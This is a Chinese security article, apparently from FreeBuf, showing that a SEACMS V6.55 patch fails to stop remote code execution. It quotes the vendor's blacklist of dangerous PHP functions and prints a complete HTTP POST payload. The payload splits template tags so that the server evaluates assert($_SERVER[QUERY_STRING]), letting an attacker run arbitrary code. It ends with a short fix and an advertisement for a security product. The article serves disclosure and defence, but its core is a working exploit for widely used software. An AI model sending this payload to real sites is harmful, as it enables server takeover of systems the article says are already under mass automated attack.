概述
前几天我们公布了海洋CMS(SEACMS)的一个0day漏洞,官方据称是在10月2日发布的V6.55版本中进行了修复,而实际上漏洞并没有被实质性修复,而是仍然存在任意代码执行的问题。
V6.55修复方式
新版本在main.class.php的parseIf函数中增加了黑名单的方式来过滤:
foreach($iar as $v){ $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v); } $iar = $iarok;
首先用黑名单过滤的方式来解决问题就没有找准漏洞根源,而且这个黑名单也是非常不全面的。
绕过方法
由于php存在大量可执行代码的函数,仅仅过滤上面这些是远远不够的,这里甚至连最常用的assert都没有过滤。对于引入shellcode的地方,仅仅过滤了$_GET、$_POST、$_COOKIE、$_REQUEST,然而HTTP请求数据可以进来的地方还有很多,例如$_SERVER。我们随便构造一个请求即可绕过:
POST /seacms/search.php?phpinfo(); HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 201 Connection: keep-alive Upgrade-Insecure-Requests: 1 searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*
最终在eval中执行的代码是:
if(assert($_SERVER[QUERY_STRING]));/*xxxxx
而在php中$_SERVER[QUERY_STRING])会被等同于$_SERVER['QUERY_STRING'])执行,这样就不用考虑绕过addslashes的问题了。然后就是把要执行的代码放在query_string中即可。
漏洞修复
根据云锁监测,目前该0day已经被大规模运用,而且攻击者使用自动化攻击脚本对全网SEACMS进行搜索并实施自动攻击。我们已在9月份向CNVD和厂商报告了漏洞详情,但截至2017.10.9,SEACMS仍然未发布该漏洞的补丁。建议SEACMS用户立即安装云锁并开启文件防上传功能,可暂时避免被自动化程序攻击。或在echoSearchPage()函数中增加一条过滤语句:
if(strpos($searchword,'{searchpage:')) exit;
*本文作者:天择实习生,转载请注明来自FreeBuf.COM
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论